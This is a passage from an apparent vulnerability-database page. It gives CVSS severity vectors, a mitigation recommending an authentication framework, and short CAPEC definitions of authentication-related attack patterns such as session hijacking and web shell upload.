  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.

← Back to the CWE list